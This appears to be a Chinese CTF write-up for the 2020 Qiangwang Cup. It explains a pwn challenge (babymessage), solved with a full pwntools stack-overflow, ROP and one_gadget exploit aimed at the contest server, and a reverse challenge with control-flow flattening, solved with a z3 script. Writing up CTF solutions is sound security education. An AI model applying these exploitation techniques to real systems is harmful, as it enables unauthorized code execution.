2020 第四届强网杯解题报告(writeup)

Posted by HX on 2020-08-24 | 👓

0x0. 前言

只做出两道水题,还是记录一下吧。

0x1. 强网先锋(Pwn) - babymessage - 52pt

菜单选 1 输入 name,选 2 输入 message。message 的长度由栈上变量 v1 决定,与 256 做有符号比较,大于的话长度设为 256,然后用此长度调用 leave_message

第一次循环,v1(不是 leave_message 那个)一开始是 16,但 leave_messagev3 的长度是 8,造成栈溢出,可以覆盖旧的 rbp,从而在函数返回时伪造 rbp 为任意值。

返回后进入第二次循环,因为在 v1 和 256 比较大小时以 rbp 为基准寻址,加上有符号比较存在整数溢出漏洞,所以可以伪造 rbp 使得 rbp-4 处的值是一个负数,从而绕过大小检查,在 leave_messageread 时读入超长字符串,控制返回地址。

先泄露 puts 的地址,用 __libc_csu_init 中的 pop rdi; ret 做 ROP,传递 puts@gotputs@plt,以打印出 puts 地址,根据偏移计算出 one_gadget 地址。

最后返回到 leave_message 函数再触发一次栈溢出,把返回地址改到 one_gadget 就搞定了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'
#p = process('./babymessage')
p = remote('123.56.170.202','21342')
e = ELF('./babymessage')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
poprdi = 0x400ac3
#gdb.attach(p)
p.sendlineafter('choice: ','1')
p.sendlineafter('name: ', '\xff'*4)
p.sendlineafter('choice: ','2')
p.sendlineafter('message: ', '\xff'*8+p64(0x6010d4))
p.sendlineafter('choice: ','2')
payload = 'deadbeefdeadbeef'
payload += p64(poprdi) + p64(puts_got) + p64(puts_plt)
payload += p64(poprdi) + p64(41)
payload += p64(0x40080a) + '\x00'
p.sendlineafter('message: ', payload)
p.recvuntil('done!\n')
p.recv(1)
puts_addr = p.recv(6).ljust(8,'\x00')
puts_addr = u64(puts_addr)
print('puts:'+hex(puts_addr))
#one_shot = puts_addr - 0x3166e
one_shot = puts_addr + 0x89a2c
print('one_shot:'+hex(one_shot))
p.sendlineafter('message: ', 'deadbeefdeadbeef'+p64(one_shot)+'\x00')
p.recvuntil('done!\n')
p.interactive()

0x2. Reverse - xx_warmup_obf - 103pt

控制流平坦化,没有什么好说的,就是跑起来硬跟。

注册了一个 signal handler,程序中间会通过 int 3 中断进入 handler 里,改变决定着控制流的状态变量中存储的常数。

一直跟下去,到输入完 flag 后面,这里检验 flag 长度为 1Ch(28):

接着往下跟,这里取输入的 flag 第一个字符的 ASCII 码,乘以 0x5d75,看是否等于 0x253c9e

所以第一个字符就是 0x253c9e 除以 0x5d75 等于 0x66,即 f,可以猜测前面几个字符是 flag{。

后面的计算也和这里类似,用输入的 flag 里某几位字符乘以一个数,得数全部加起来再判断是否等于某个常数,每次计算可以确定出 flag 里的一个字符,全部 28 个字符算出来就是 flag。

解方程用 z3,不过因为每次乘以的数都不同,也不知道有什么好办法自动解每一个字符(看了别的师傅的 writeup,可以写 IDAPython 脚本,需要学习一个),所以只能用笨办法每个字符重新写 z3 脚本算…… 以下是算中间某个字符的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys
sys.path.append('z3/build/')
from z3 import *
s = Solver()
a = BitVec('a', 32)
flag = 'flag{g0_Fuck_xx_5e'
s.add(a*0xFFFC5AF3
+ord(flag[0])*0x20d94
+ord(flag[1])*0x2fb77
+ord(flag[2])*0xFFFD2918
+ord(flag[3])*0x1882d
+ord(flag[4])*0xFFFEDE1F
+ord(flag[5])*0xFFFF0015
+ord(flag[6])*0xFFFBB7A0
+ord(flag[7])*0x14a94
+ord(flag[8])*0xFFFDA0CD
+ord(flag[9])*0xde69
+ord(flag[0xa])*0x2FE8
+ord(flag[0xb])*0x2abe5
+ord(flag[0xc])*0x26530
+ord(flag[0xd])*0x4c3d
+ord(flag[0xe])*0x2383e
+ord(flag[0xf])*0x42763
+ord(flag[0x10])*0xe5c9
+ord(flag[0x11])*0x539
==0x39F3331)
s.add(a>0)
s.add(a<0x100)
print(s.check())
mod = s.model()
chars = [
mod[a],
]
print(chars)